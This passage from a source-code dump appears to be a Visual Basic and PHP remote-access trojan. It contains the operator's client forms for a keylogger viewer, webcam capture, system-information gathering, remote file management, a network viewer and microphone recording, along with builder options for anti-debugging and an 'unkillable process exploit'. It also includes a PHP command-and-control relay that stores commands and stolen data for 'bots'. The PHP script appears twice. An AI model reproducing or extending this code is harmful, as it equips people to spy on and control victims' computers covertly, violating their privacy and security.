TimeoutCoutner.ElapsedMilliseconds > 7000 Then 42 | Return String.Empty 43 | Else 44 | myimg = VideoSourcePlayer.GetCurrentVideoFrame() 45 | End If 46 | Loop 47 | Dim webcambytes As String = ModuleMain.ScreenshotToHex(myimg) 48 | TimeoutCoutner.Stop() 49 | If VideoSourcePlayer.IsRunning = True Then 50 | VideoSourcePlayer.SignalToStop() 51 | VideoSourcePlayer.WaitForStop() 52 | End If 53 | Return webcambytes 54 | End Using 55 | End Function 56 | 57 | 58 | End Class 59 | -------------------------------------------------------------------------------- /Client/Client/Client/Systeminformation.vb: -------------------------------------------------------------------------------- 1 | Public Class Systeminformation 2 | 3 | 4 | Private Sub ButtonRefreshSystemInfo_Click(sender As Object, e As EventArgs) Handles ButtonRefreshSystemInfo.Click 5 | Settings.AddLog("Pending", Settings.State.Pending, "Refreshing systeminformation...") 6 | If Main.ListViewMain.Items.Count > 0 Then 7 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 8 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 9 | Else 10 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 11 | End If 12 | Try 13 | Main.WriteCommand(Main.SelectedUserID & "|13") 14 | Waiting.ShowDialog() 15 | Catch x As Exception 16 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Systeminformation") 17 | End Try 18 | End Sub 19 | 20 | Public Sub SplitTreeviewData() 21 | TreeViewSysInfo.Nodes.Clear() 22 | Dim Data As String = Main.ReadData() 23 | Dim Parts() As String = Split(Data, "|||") 24 | For i As Integer = 0 To UBound(Parts) 25 | TreeViewSysInfo.Nodes.Add(New TreeNode(Parts(i), i, i)) 26 | Next 27 | End Sub 28 | 29 | Private Sub Systeminformation_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing 30 | Try 31 | TreeViewSysInfo.Nodes(0).Text = "Username: ??" 32 | TreeViewSysInfo.Nodes(1).Text = "Computername: ??" 33 | TreeViewSysInfo.Nodes(2).Text = "Operating System: ??" 34 | TreeViewSysInfo.Nodes(3).Text = "Country: ??" 35 | TreeViewSysInfo.Nodes(4).Text = "Privileges: ??" 36 | TreeViewSysInfo.Nodes(5).Text = "Screen Resolution: ??" 37 | TreeViewSysInfo.Nodes(6).Text = "Bitsystem: ??" 38 | TreeViewSysInfo.Nodes(7).Text = "RAM: ??" 39 | TreeViewSysInfo.Nodes(8).Text = "Processor: ??" 40 | TreeViewSysInfo.Nodes(9).Text = "Graphics Card: ??" 41 | TreeViewSysInfo.Nodes(10).Text = "Time Since Last Reboot: ??" 42 | TreeViewSysInfo.Nodes(11).Text = "AntiVirus Software: ??" 43 | TreeViewSysInfo.Nodes(12).Text = "Firewall Software: ??" 44 | TreeViewSysInfo.Nodes(13).Text = "Webcam: ??" 45 | Catch 46 | End Try 47 | End Sub 48 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/Keylogger.vb: -------------------------------------------------------------------------------- 1 | Imports System.Text.RegularExpressions 2 | 3 | Public Class Keylogger 4 | 5 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 6 | Settings.AddLog("Pending", Settings.State.Pending, "Requesting processlist...") 7 | RichTextBoxKeylogs.Clear() 8 | If Main.ListViewMain.Items.Count > 0 Then 9 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 10 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 11 | Else 12 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 13 | End If 14 | Try 15 | Main.WriteCommand(Main.SelectedUserID & "|64") 16 | Waiting.ShowDialog() 17 | Catch x As Exception 18 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Processmanager") 19 | End Try 20 | End Sub 21 | 22 | Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click 23 | If System.IO.File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\Keylogs.txt") Then 24 | Try 25 | System.IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\Keylogs.txt") 26 | Catch 27 | End Try 28 | End If 29 | For i As Integer = 0 To RichTextBoxKeylogs.Lines.Count - 1 30 | System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\Keylogs.txt", RichTextBoxKeylogs.Lines(i) & vbNewLine) 31 | Next 32 | MsgBox("Keylogs saved to desktop.", MsgBoxStyle.Information, "Keylogs saved") 33 | End Sub 34 | 35 | Private Sub Keylogger_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing 36 | RichTextBoxKeylogs.Clear() 37 | End Sub 38 | 39 | 40 | Public Sub ColorTitles() 41 | Dim Point As Integer = 0 42 | For Each m As Match In New Regex("\[ -- (.*?) -- \]").Matches(RichTextBoxKeylogs.Text) 43 | Point = RichTextBoxKeylogs.Find((m.Groups(0).Value), Point, RichTextBoxFinds.None) 44 | RichTextBoxKeylogs.SelectionColor = Color.CadetBlue 45 | RichTextBoxKeylogs.SelectionFont = New Font(Font, FontStyle.Bold) 46 | RichTextBoxKeylogs.DeselectAll() 47 | Next 48 | End Sub 49 | 50 | 51 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/BuilderAdvancedSettings.vb: -------------------------------------------------------------------------------- 1 | Public Class BuilderAdvancedSettings 2 | 3 | 4 | Private Sub CheckBox2_Click(sender As Object, e As EventArgs) Handles CheckBoxUnkillableProcessExploit.Click 5 | If Builder.CheckBoxProcessProtection.Checked Or Builder.CheckBoxBreakOnTermination.Checked Then 6 | CheckBoxUnkillableProcessExploit.Checked = False 7 | MsgBox("To use this feature you first have to disable ProcessBreakOnTermination and Process Kernel Security.", MsgBoxStyle.Exclamation) 8 | End If 9 | End Sub 10 | 11 | Private Sub ButtonApplyAdvancedSettings_Click(sender As Object, e As EventArgs) Handles ButtonApplyAdvancedSettings.Click 12 | Me.Hide() 13 | End Sub 14 | 15 | Private Sub CheckBoxAntiDebug_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBoxAntiDebug.CheckedChanged 16 | If CheckBoxAntiDebug.Checked Then 17 | Builder.StubAntiDebug = "True" 18 | Else 19 | Builder.StubAntiDebug = "False" 20 | End If 21 | End Sub 22 | 23 | Private Sub CheckBoxUnkillableProcessExploit_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBoxUnkillableProcessExploit.CheckedChanged 24 | If CheckBoxUnkillableProcessExploit.Checked = True Then 25 | Builder.StubUnkillableProcessExploit = "True" 26 | Else 27 | Builder.StubUnkillableProcessExploit = "False" 28 | End If 29 | End Sub 30 | 31 | Private Sub CheckBoxAntiDllInjection_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBoxAntiDllInjection.CheckedChanged 32 | If CheckBoxAntiDllInjection.Checked Then 33 | Builder.StubAntiDllInject = "True" 34 | Else 35 | Builder.StubAntiDllInject = "False" 36 | End If 37 | End Sub 38 | 39 | Private Sub CheckBoxUnkillableProcessExploit_MouseEnter(sender As Object, e As EventArgs) Handles CheckBoxUnkillableProcessExploit.MouseEnter 40 | Label2.Visible = True 41 | End Sub 42 | 43 | Private Sub CheckBoxUnkillableProcessExploit_MouseLeave(sender As Object, e As EventArgs) Handles CheckBoxUnkillableProcessExploit.MouseLeave 44 | Label2.Visible = False 45 | End Sub 46 | 47 | Private Sub BuilderAdvancedSettings_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing 48 | e.Cancel = True 49 | Me.Hide() 50 | End Sub 51 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/FilemanagerRenameFile.vb: -------------------------------------------------------------------------------- 1 | Imports System.IO 2 | 3 | Public Class FilemanagerRenameFile 4 | 5 | Private Sub ButtonCancel_Click(sender As Object, e As EventArgs) Handles ButtonCancel.Click 6 | Me.Close() 7 | End Sub 8 | 9 | Private Sub ButtonRenameFile_Click(sender As Object, e As EventArgs) Handles ButtonRenameFile.Click 10 | Dim InvalidChars() As String = {"|", ";", "&", "<", ">", "*", "/", "\", ":", "{", "}", "[", "]"} 11 | If TextBoxRenameFile.Text = String.Empty Then 12 | MsgBox("Enter a valid file name.", MsgBoxStyle.Exclamation) 13 | Exit Sub 14 | End If 15 | For Each c As String In InvalidChars 16 | If TextBoxRenameFile.Text.Contains(c) Then 17 | MsgBox("Enter a valid file name.", MsgBoxStyle.Exclamation) 18 | Exit Sub 19 | End If 20 | Next 21 | 22 | If Filemanager.RenameFileLocal = True Then 23 | Try 24 | My.Computer.FileSystem.RenameFile(Filemanager.TextBoxLocalAdressBar.Text, TextBoxRenameFile.Text) 25 | MsgBox("File renamed with success.", MsgBoxStyle.Information) 26 | Filemanager.ListViewLocalFiles.SelectedItems(0).Text = TextBoxRenameFile.Text 27 | Me.Close() 28 | Catch ex As UnauthorizedAccessException 29 | MsgBox("Failed renaming file. Access is denied.", MsgBoxStyle.Critical) 30 | Me.Close() 31 | Catch ex As Exception 32 | MsgBox("Failed renaming file.", MsgBoxStyle.Critical) 33 | Me.Close() 34 | End Try 35 | Else 36 | If Main.ListViewMain.Items.Count > 0 Then 37 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 38 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 39 | Else 40 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 41 | End If 42 | Try 43 | Main.WriteData(Filemanager.TextBoxRemoteAdressBar.Text & "|||" & TextBoxRenameFile.Text) 44 | Main.WriteCommand(Main.SelectedUserID & "|30") 45 | Waiting.ShowDialog() 46 | Catch x As Exception 47 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "rename file") 48 | End Try 49 | End If 50 | 51 | End Sub 52 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/Networkviewer.vb: -------------------------------------------------------------------------------- 1 | Public Class Networkviewer 2 | 3 | Private Sub ButtonGetConnections_Click(sender As Object, e As EventArgs) Handles ButtonGetConnections.Click 4 | Settings.AddLog("Pending", Settings.State.Pending, "Refreshing network connections...") 5 | ListViewConnections.Items.Clear() 6 | If Main.ListViewMain.Items.Count > 0 Then 7 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 8 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 9 | Else 10 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 11 | End If 12 | Try 13 | Main.WriteCommand(Main.SelectedUserID & "|40") 14 | Waiting.ShowDialog() 15 | Catch x As Exception 16 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Networkviewer") 17 | End Try 18 | End Sub 19 | 20 | Public Sub SplitTraffic(ByVal Traffic As String) 21 | ListViewConnections.Items.Clear() 22 | Dim TCPCounter As Integer = 0 23 | Dim UDPCounter As Integer = 0 24 | Dim AllTraffic As String() = Split(Traffic, "~~~") 25 | Dim TCPTraffic() = AllTraffic(0).Split({"||||"}, StringSplitOptions.None) 26 | Dim UDPTraffic() = AllTraffic(1).Split({"||||"}, StringSplitOptions.None) 27 | For Each line In TCPTraffic 28 | TCPCounter += 1 29 | Dim parts() = line.Split({"|||"}, StringSplitOptions.None) 30 | Dim item = ListViewConnections.Items.Add(parts(0), 0) 31 | For i = 1 To Math.Min(parts.Length - 1, 5) 32 | item.SubItems.Add(parts(i)) 33 | Next 34 | Next 35 | For Each line In UDPTraffic 36 | UDPCounter += 1 37 | Dim parts() = line.Split({"|||"}, StringSplitOptions.None) 38 | Dim item = ListViewConnections.Items.Add(parts(0), 1) 39 | For i = 1 To Math.Min(parts.Length - 1, 5) 40 | item.SubItems.Add(parts(i)) 41 | Next 42 | Next 43 | For Each item As ListViewItem In ListViewConnections.Items 44 | If (String.IsNullOrWhiteSpace(item.Text) Or String.IsNullOrEmpty(item.Text)) Then 45 | item.Remove() 46 | End If 47 | Next 48 | LabelUDPCount.Text = CType(UDPCounter, String) 49 | LabelTCPCount.Text = CType(TCPCounter, String) 50 | End Sub 51 | 52 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/BuilderQuerySpeed.vb: -------------------------------------------------------------------------------- 1 | Public Class BuilderQuerySpeed 2 | 3 | 4 | ' Set the refresh time for the server (to prevent webhost overheating) 5 | ' If only a few bots are controlled, you can set it lower 6 | ' otherwise set it should be higher to not make the server stress to big 7 | Private Sub TrackBarQuerySpeed_Scroll(sender As Object, e As EventArgs) Handles TrackBarQuerySpeed.Scroll 8 | Select Case TrackBarQuerySpeed.Value 9 | Case 0 10 | LabelSpeed.Text = "Selected Query Speed: 1000 ms" 11 | ToolStripSplitButton1.Image = My.Resources.exclamation 12 | ToolStripStatusLabel1.Text = "Very high query speed. Very high server stress." 13 | Builder.StubQuerySpeed = "1000" 14 | Case 1 15 | LabelSpeed.Text = "Selected Query Speed: 2000 ms" 16 | ToolStripSplitButton1.Image = My.Resources.exclamation 17 | ToolStripStatusLabel1.Text = "Fast query speed. High server stress." 18 | Builder.StubQuerySpeed = "2000" 19 | Case 2 20 | LabelSpeed.Text = "Selected Query Speed: 3000 ms" 21 | ToolStripSplitButton1.Image = My.Resources.information 22 | ToolStripStatusLabel1.Text = "Good query speed. Average server stress." 23 | Builder.StubQuerySpeed = "3000" 24 | Case 3 25 | LabelSpeed.Text = "Selected Query Speed: 4000 ms" 26 | ToolStripSplitButton1.Image = My.Resources.information 27 | ToolStripStatusLabel1.Text = "Medium query speed. Average server stress." 28 | Builder.StubQuerySpeed = "4000" 29 | Case 4 30 | LabelSpeed.Text = "Selected Query Speed: 6000 ms" 31 | ToolStripSplitButton1.Image = My.Resources.information 32 | ToolStripStatusLabel1.Text = "Slow query speed. Small server stress." 33 | Builder.StubQuerySpeed = "6000" 34 | Case 5 35 | LabelSpeed.Text = "Selected Query Speed: 8000 ms" 36 | ToolStripSplitButton1.Image = My.Resources.information 37 | ToolStripStatusLabel1.Text = "Very slow query speed. Very small server stress." 38 | Builder.StubQuerySpeed = "8000" 39 | End Select 40 | End Sub 41 | 42 | Private Sub BuilderQuerySpeed_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing 43 | e.Cancel = True 44 | Me.Hide() 45 | End Sub 46 | 47 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/FilemanagerCreateFolder.vb: -------------------------------------------------------------------------------- 1 | Public Class FilemanagerCreateFolder 2 | 3 | Private Sub ButtonCancel_Click(sender As Object, e As EventArgs) Handles ButtonCancel.Click 4 | Me.Close() 5 | End Sub 6 | 7 | Private Sub ButtonRename_Click(sender As Object, e As EventArgs) Handles ButtonRename.Click 8 | Dim ParentPath As String 9 | 10 | ' These chars are nto allowed to be in the foldername 11 | Dim InvalidChars() As String = {"|", ";", "&", "<", ">", "*", "/", "\", ":", "{", "}", "[", "]"} 12 | If TextBox1.Text = String.Empty Then 13 | MsgBox("Enter a valid directory name.", MsgBoxStyle.Exclamation) 14 | Exit Sub 15 | End If 16 | For Each c As String In InvalidChars 17 | If TextBox1.Text.Contains(c) Then 18 | MsgBox("Enter a valid directory name.", MsgBoxStyle.Exclamation) 19 | Exit Sub 20 | End If 21 | Next 22 | 23 | ' Folder Creation begins here 24 | 25 | 26 | 'Try 27 | 28 | 'Catch ex As Exception 29 | 'MsgBox("No File/Folder selected." & ex.Message, MsgBoxStyle.Exclamation) 30 | 'Exit Sub 31 | ' End Try 32 | 33 | If Filemanager.CreateFolderLocal = True Then 34 | ParentPath = IO.Directory.GetParent(Filemanager.TextBoxLocalAdressBar.Text).FullName 35 | Try 36 | 37 | IO.Directory.CreateDirectory(ParentPath & "\" & TextBox1.Text) 38 | MsgBox("Directory created with success.", MsgBoxStyle.Information) 39 | Catch ex As Exception 40 | MsgBox("Failed creating directory.", MsgBoxStyle.Critical) 41 | End Try 42 | Else 43 | ParentPath = IO.Directory.GetParent(Filemanager.TextBoxRemoteAdressBar.Text).FullName 44 | If Main.ListViewMain.Items.Count > 0 Then 45 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 46 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 47 | Else 48 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 49 | End If 50 | Try 51 | Main.WriteData(ParentPath & "\" & TextBox1.Text) 52 | Main.WriteCommand(Main.SelectedUserID & "|28") 53 | Waiting.ShowDialog() 54 | Catch x As Exception 55 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Create Folder") 56 | End Try 57 | End If 58 | 59 | End Sub 60 | 61 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/NotificationGlobalMessage.vb: -------------------------------------------------------------------------------- 1 | Public Class NotificationGlobalMessage 2 | 3 | Sub New(ByVal Title As String, ByVal Message As String) 4 | InitializeComponent() 5 | LabelTitle.Text = Title 6 | LabelInfo.Text = Message 7 | End Sub 8 | 9 | 10 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 11 | e.Graphics.DrawRectangle(New Pen(Color.DarkGray, 1), 0, 0, Me.Width - 1, Me.Height - 1) 12 | End Sub 13 | 14 | Sub Me_Load() Handles MyBase.Load 15 | Me.Top = My.Computer.Screen.WorkingArea.Height + Me.Height 16 | Me.Left = My.Computer.Screen.WorkingArea.Width - Me.Width 17 | End Sub 18 | 19 | Public Sub MoveDown() 20 | While Me.Top - Me.Height < My.Computer.Screen.WorkingArea.Height 21 | Me.Top += 1 22 | End While 23 | Me.Close() 24 | End Sub 25 | 26 | Public Sub MoveUp() 27 | While Me.Bottom > My.Computer.Screen.WorkingArea.Height 28 | Me.Top -= 1 29 | End While 30 | End Sub 31 | 32 | Public Sub Toggle() 33 | If State = _State.Down Then 34 | MoveUp() 35 | Else 36 | MoveDown() 37 | End If 38 | End Sub 39 | 40 | Public ReadOnly Property State As _State 41 | Get 42 | If Me.Top > My.Computer.Screen.WorkingArea.Height Then 43 | Return _State.Down 44 | Else 45 | Return _State.Up 46 | End If 47 | End Get 48 | End Property 49 | 50 | Public Enum _State As Integer 51 | Up = 0 52 | Down = 1 53 | End Enum 54 | 55 | Private Sub Notification_Shown(sender As Object, e As EventArgs) Handles MyBase.Shown 56 | Dim TimeoutThread As New System.Threading.Thread(Sub() 57 | System.Threading.Thread.Sleep(7000) 58 | Invoke(New MethodInvoker(Sub() 59 | Me.MoveDown() 60 | End Sub)) 61 | End Sub) 62 | TimeoutThread.Start() 63 | End Sub 64 | 65 | 66 | Private Sub InfoButtonControl_Click_1(sender As Object, e As EventArgs) 67 | Main.Show() 68 | Main.TopMost = True 69 | Main.BringToFront() 70 | Main.WindowState = FormWindowState.Normal 71 | End Sub 72 | 73 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/Notification.vb: -------------------------------------------------------------------------------- 1 | Public Class Notification 2 | 3 | 4 | 5 | Sub New(ByVal Title As String, ByVal Message As String) 6 | ' This call is required by the designer. 7 | InitializeComponent() 8 | LabelTitle.Text = Title 9 | LabelInfo.Text = Message 10 | ' Add any initialization after the InitializeComponent() call. 11 | End Sub 12 | 13 | 14 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 15 | e.Graphics.DrawRectangle(New Pen(Color.DarkGray, 1), 0, 0, Me.Width - 1, Me.Height - 1) 16 | End Sub 17 | 18 | Sub Me_Load() Handles MyBase.Load 19 | ' CheckForIllegalCrossThreadCalls = False 20 | Me.Top = My.Computer.Screen.WorkingArea.Height + Me.Height 21 | Me.Left = My.Computer.Screen.WorkingArea.Width - Me.Width 22 | End Sub 23 | 24 | Public Sub MoveDown() 25 | While Me.Top - Me.Height < My.Computer.Screen.WorkingArea.Height 26 | Me.Top += 1 27 | End While 28 | Me.Close() 29 | End Sub 30 | 31 | Public Sub MoveUp() 32 | While Me.Bottom > My.Computer.Screen.WorkingArea.Height 33 | Me.Top -= 1 34 | End While 35 | End Sub 36 | 37 | Public Sub Toggle() 38 | If State = _State.Down Then 39 | MoveUp() 40 | Else 41 | MoveDown() 42 | End If 43 | End Sub 44 | 45 | Public ReadOnly Property State As _State 46 | Get 47 | If Me.Top > My.Computer.Screen.WorkingArea.Height Then 48 | Return _State.Down 49 | Else 50 | Return _State.Up 51 | End If 52 | End Get 53 | End Property 54 | 55 | Public Enum _State As Integer 56 | Up = 0 57 | Down = 1 58 | End Enum 59 | 60 | Private Sub Hide_Click() Handles InfoButtonHide.Click 61 | MoveDown() 62 | End Sub 63 | 64 | Private Sub Notification_Shown(sender As Object, e As EventArgs) Handles MyBase.Shown 65 | Dim TimeoutThread As New System.Threading.Thread(Sub() 66 | System.Threading.Thread.Sleep(6000) 67 | Me.MoveDown() 68 | End Sub) 69 | TimeoutThread.Start() 70 | End Sub 71 | 72 | 73 | Private Sub InfoButtonControl_Click_1(sender As Object, e As EventArgs) Handles InfoButtonControl.Click 74 | Main.Show() 75 | Main.TopMost = True 76 | Main.BringToFront() 77 | Main.WindowState = FormWindowState.Normal 78 | End Sub 79 | 80 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/Microphone.vb: -------------------------------------------------------------------------------- 1 | Imports System.Threading 2 | 3 | Public Class Microphone 4 | 5 | Private RecordDuration As Integer = 1000 6 | Private WaitTime As Integer = 0 7 | 8 | 9 | ' Remote microphone was never a finished feature, I planed on implementing it in a new update but didnt find the time. 10 | ' This feature is not yet correctly working! 11 | 12 | 13 | Private Sub ButtonRecord_Click(sender As Object, e As EventArgs) Handles ButtonRecord.Click 14 | ' Recording time 15 | RecordDuration = CInt(NumericUpDownRecordTime.Value) 16 | WaitTime = RecordDuration * 1000 17 | 18 | 'Show time to wait in label 19 | ProgressBar1.Maximum = RecordDuration 20 | Dim WaitThread As New Thread(AddressOf ProgressBar) 21 | Try 22 | Main.WriteData(CStr(RecordDuration)) 23 | Main.WriteCommand(Main.SelectedUserID & "|69") 24 | Catch x As Exception 25 | MsgBox("Unable to send Command. Please retry" & x.Message, MsgBoxStyle.OkOnly, "Microphone") 26 | End Try 27 | Dim WaitThread2 As New Thread(AddressOf ChangeLabelStatus) 28 | WaitThread2.Start(RecordDuration) 29 | ButtonRecord.Enabled = False 30 | WaitThread.Start(RecordDuration) 31 | While WaitThread.IsAlive 32 | Application.DoEvents() 33 | End While 34 | MsgBox("Workx") 35 | 36 | End Sub 37 | 38 | Delegate Sub ProgressBar1ValuePlusOne(ByVal value As Integer) 39 | Delegate Sub LabelUpdate(ByVal value As Integer) 40 | 41 | Private Sub ProgressBar1ValuePlus1(ByVal value As Integer) 42 | ProgressBar1.Value = value 43 | End Sub 44 | 45 | Private Sub UpdateLabelStatus(ByVal value As Integer) 46 | LabelStatus.Text = String.Format("Waiting : {0}s", value) 47 | End Sub 48 | Private Sub ProgressBar(ByVal progressTime As Object) 49 | 50 | For Value1 As Integer = 0 To CInt(progressTime) 51 | Dim progressPlusOne As New ProgressBar1ValuePlusOne(AddressOf ProgressBar1ValuePlus1) 52 | Me.Invoke(progressPlusOne, Value1) 53 | 54 | Threading.Thread.Sleep(1000) 55 | Next 56 | 57 | End Sub 58 | 59 | Private Sub ChangeLabelStatus(ByVal labelstats As Object) 60 | Dim val1 As Integer = CInt(labelstats) 61 | Dim progressPlusOne As New LabelUpdate(AddressOf UpdateLabelStatus) 62 | 63 | While val1 >= 0 64 | Me.Invoke(progressPlusOne, val1) 65 | val1 -= 1 66 | Threading.Thread.Sleep(1000) 67 | End While 68 | End Sub 69 | 70 | Private Sub LabelStateChange() 71 | 72 | End Sub 73 | 74 | End Class -------------------------------------------------------------------------------- /Server/Server/My Project/app.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /PHP Files/main.php: -------------------------------------------------------------------------------- 1 | 0){ 41 | echo "Error"; 42 | } else{ 43 | $newfile = uniqid("image_").".".$extension; 44 | move_uploaded_file($_FILES["file"]["tmp_name"], $Directory2."/".$newfile); 45 | echo $newfile; 46 | } 47 | break; 48 | case 'connect': 49 | checkKey(); 50 | $filename = $PostID.'.zero'; 51 | $fp = fopen($Directory.$filename, "w"); 52 | fwrite($fp, $PostData); 53 | fclose($fp); 54 | echo 'Success'; 55 | break; 56 | case 'disconnect': 57 | checkKey(); 58 | $filename = $PostID.'.zero'; 59 | if(file_exists($Directory.$filename)){ 60 | unlink($Directory.$filename); 61 | } 62 | echo 'Success'; 63 | break; 64 | case 'clearresponse': 65 | if(file_exists('response.dat')){ 66 | Unlink('response.dat'); 67 | } 68 | break; 69 | case 'clearcmd': 70 | if(file_exists('cmd.dat')){ 71 | Unlink('cmd.dat'); 72 | } 73 | break; 74 | case 'readcmd': 75 | if (!file_exists('cmd.dat')) { 76 | $file = fopen('cmd.dat','w'); 77 | fwrite($file, ''); 78 | } else { 79 | readfile('cmd.dat'); 80 | } 81 | break; 82 | case 'readdata': 83 | if (!file_exists('data.dat')) { 84 | $resp = fopen('data.dat', 'w'); 85 | fwrite($resp, ''); 86 | } else { 87 | $resp = fopen('data.dat', 'r'); 88 | $buffer = ''; 89 | while(!feof($resp)) { 90 | $buffer .= fread($resp, 128); 91 | } 92 | echo $buffer; 93 | } 94 | break; 95 | case 'saveresponse': 96 | writeFile('response.dat', $PostData); 97 | break; 98 | case 'writecmd': 99 | writeFile('cmd.dat', $PostData); 100 | break; 101 | case 'writedata': 102 | writeFile('data.dat', $PostData); 103 | break; 104 | } 105 | 106 | function checkKey() { 107 | global $key1; 108 | if(isset($_GET['key'])){ 109 | if(($_GET['key']) != $key1) { 110 | echo 'Connection error'; 111 | exit; 112 | } 113 | } else { 114 | echo 'Connection error'; 115 | exit; 116 | } 117 | } 118 | 119 | function writeFile($filename, $data) { 120 | $open = fopen($filename, 'w'); 121 | fwrite($open, $data); 122 | fclose($open); 123 | echo 'Ok'; 124 | } 125 | // STFU. Strik3r! 126 | ?> -------------------------------------------------------------------------------- /Client/Client/Client/My Project/Settings.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.18444 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | _ 20 | Partial Friend NotInheritable Class MySettings 21 | Inherits Global.System.Configuration.ApplicationSettingsBase 22 | 23 | Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) 24 | 25 | #Region "My.Settings Auto-Save Functionality" 26 | #If _MyType = "WindowsForms" Then 27 | Private Shared addedHandler As Boolean 28 | 29 | Private Shared addedHandlerLockObject As New Object 30 | 31 | _ 32 | Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) 33 | If My.Application.SaveMySettingsOnExit Then 34 | My.Settings.Save() 35 | End If 36 | End Sub 37 | #End If 38 | #End Region 39 | 40 | Public Shared ReadOnly Property [Default]() As MySettings 41 | Get 42 | 43 | #If _MyType = "WindowsForms" Then 44 | If Not addedHandler Then 45 | SyncLock addedHandlerLockObject 46 | If Not addedHandler Then 47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings 48 | addedHandler = True 49 | End If 50 | End SyncLock 51 | End If 52 | #End If 53 | Return defaultInstance 54 | End Get 55 | End Property 56 | End Class 57 | End Namespace 58 | 59 | Namespace My 60 | 61 | _ 64 | Friend Module MySettingsProperty 65 | 66 | _ 67 | Friend ReadOnly Property Settings() As Global.Client.My.MySettings 68 | Get 69 | Return Global.Client.My.MySettings.Default 70 | End Get 71 | End Property 72 | End Module 73 | End Namespace 74 | -------------------------------------------------------------------------------- /Client/Client/Client/Resources/main.php: -------------------------------------------------------------------------------- 1 | 0){ 41 | echo "Error"; 42 | } else{ 43 | $newfile = uniqid("image_").".".$extension; 44 | move_uploaded_file($_FILES["file"]["tmp_name"], $Directory2."/".$newfile); 45 | echo $newfile; 46 | } 47 | break; 48 | case 'connect': 49 | checkKey(); 50 | $filename = $PostID.'.zero'; 51 | $fp = fopen($Directory.$filename, "w"); 52 | fwrite($fp, $PostData); 53 | fclose($fp); 54 | echo 'Success'; 55 | break; 56 | case 'disconnect': 57 | checkKey(); 58 | $filename = $PostID.'.zero'; 59 | if(file_exists($Directory.$filename)){ 60 | unlink($Directory.$filename); 61 | } 62 | echo 'Success'; 63 | break; 64 | case 'clearresponse': 65 | if(file_exists('response.dat')){ 66 | Unlink('response.dat'); 67 | } 68 | break; 69 | case 'clearcmd': 70 | if(file_exists('cmd.dat')){ 71 | Unlink('cmd.dat'); 72 | } 73 | break; 74 | case 'readcmd': 75 | if (!file_exists('cmd.dat')) { 76 | $file = fopen('cmd.dat','w'); 77 | fwrite($file, ''); 78 | } else { 79 | readfile('cmd.dat'); 80 | } 81 | break; 82 | case 'readdata': 83 | if (!file_exists('data.dat')) { 84 | $resp = fopen('data.dat', 'w'); 85 | fwrite($resp, ''); 86 | } else { 87 | $resp = fopen('data.dat', 'r'); 88 | $buffer = ''; 89 | while(!feof($resp)) { 90 | $buffer .= fread($resp, 128); 91 | } 92 | echo $buffer; 93 | } 94 | break; 95 | case 'saveresponse': 96 | writeFile('response.dat', $PostData); 97 | break; 98 | case 'writecmd': 99 | writeFile('cmd.dat', $PostData); 100 | break; 101 | case 'writedata': 102 | writeFile('data.dat', $PostData); 103 | break; 104 | } 105 | 106 | function checkKey() { 107 | global $key1; 108 | if(isset($_GET['key'])){ 109 | if(($_GET['key']) != $key1) { 110 | echo 'Connection error'; 111 | exit; 112 